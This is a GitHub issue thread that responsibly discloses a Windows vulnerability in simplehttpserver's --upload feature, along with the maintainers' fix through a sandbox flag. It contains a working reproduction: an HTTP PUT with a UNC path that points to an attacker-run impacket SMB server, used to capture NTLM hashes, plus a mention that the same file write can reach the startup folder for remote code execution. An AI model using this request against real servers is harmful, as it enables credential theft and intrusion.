Description

laluka

opened on Apr 18, 2021

Issue body actions

Hello there,
First thing first, congratz for this awesome new tool that will definitely be used a lot and loved! 💟

Now the real thing!

Description

If someone uses simpleserver on windows (while would they anyway...), (built with GOOS=windows GOARCH=386 go build cmd/simplehttpserver/simplehttpserver.go), there is a way to abuse the --upload feature to write a file on a network share, and this way steal the user's ntlm hash.
This could then be cracked offline and used to gain access to the server.

Reproduction

The issue can be reproduced with the following request thrown against simpleserver, which will then reach our smb server (here impacket): python examples/smbserver.py -smb2support share /dev/shm

PUT /\\192.168.1.25\share HTTP/1.1
Host: 192.168.1.21:8000
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 6
Expect: 100-continue
Connection: close

dummy

Root cause & Mitigations

The path.Base function does not handle backslash, so some more sanitization should be added to take care of this.

The vulnerable code lives there:

simplehttpserver/pkg/httpserver/loglayer.go

Line 31 in 97d5e90

err = handleUpload(path.Base(r.URL.Path), data)

simplehttpserver/pkg/httpserver/uploadlayer.go

Lines 5 to 7 in 97d5e90

	func handleUpload(file string, data []byte) error {
	return ioutil.WriteFile(file, data, 0655)
	}

Happy patching, and have a nice day! 🌷

Reacted by Sicarius, mxrch, Sandeep Singh and geeknik

Reacted by geeknik and Sandeep Singh

Reacted by geeknik and Sandeep Singh

Reacted by geeknik

Activity

1. ehsandeep

   added

   Status: Review NeededThe issue has a PR attached to it which needs to be reviewedThe issue has a PR attached to it which needs to be reviewed

   on Apr 18, 2021
2. ehsandeep

   assigned

   Mzack9999

   on Apr 18, 2021
3. ehsandeep commented on Apr 18, 2021

   

   ehsandeep

   on Apr 18, 2021

   Member

   More actions

   Thank you for reporting this @laluka with all the details, we will review this take the required action.
4. laluka commented on Apr 18, 2021

   

   laluka

   on Apr 18, 2021

   Author

   More actions

   Update: It's in fact a one-shot file write, and leads (with a reboot) to a remote code execution.. 😨

   I won't put the whole details here, but it's also possible to write to windows' startup scripts path, and wait for a reboot to get a remote shell.. 🙃

   

   Reacted by Sicarius, bernsteining, mxrch and Luks

   Reacted by Sicarius
5. Mzack9999

   linked a pull request that will close this issueAdding pseudo-sandbox mode #35on Apr 18, 2021
6. laluka

   changed the title [-]Security issue (windows) - Abuse `--upload` to steal NTLM-hash[/-] [+]Security issue (windows) - Abuse `--upload` to steal NTLM-hash | fileWrite | RCE[/+] on Apr 19, 2021
7. ehsandeep

   added

   Type: EnhancementMost issues will probably ask for additions or changes.Most issues will probably ask for additions or changes.

   and removed

   Status: Review NeededThe issue has a PR attached to it which needs to be reviewedThe issue has a PR attached to it which needs to be reviewed

   on Apr 24, 2021
8. Mzack9999

   added

   Status: CompletedNothing further to be done with this issue. Awaiting to be closed.Nothing further to be done with this issue. Awaiting to be closed.

   on Jun 27, 2021
9. ehsandeep

   linked a pull request that will close this issuev0.0.4 Release #47on Jul 28, 2021
10. ehsandeep

    closed this as completedin #47on Jul 28, 2021
11. ehsandeep commented on Jul 28, 2021

    

    ehsandeep

    on Jul 28, 2021

    Member

    More actions

    @laluka all the security features are enabled with -sandbox flag.
12. laluka commented on Jul 28, 2021

    

    laluka

    on Jul 28, 2021

    Author

    More actions

    Nice!
    Is this flag a default behavior?
    I couldn't check yet, but a -no-sandbox flag with a default enabled sandbox would be preferable! :)

    Reacted by geeknik and Sandeep Singh

Issue actions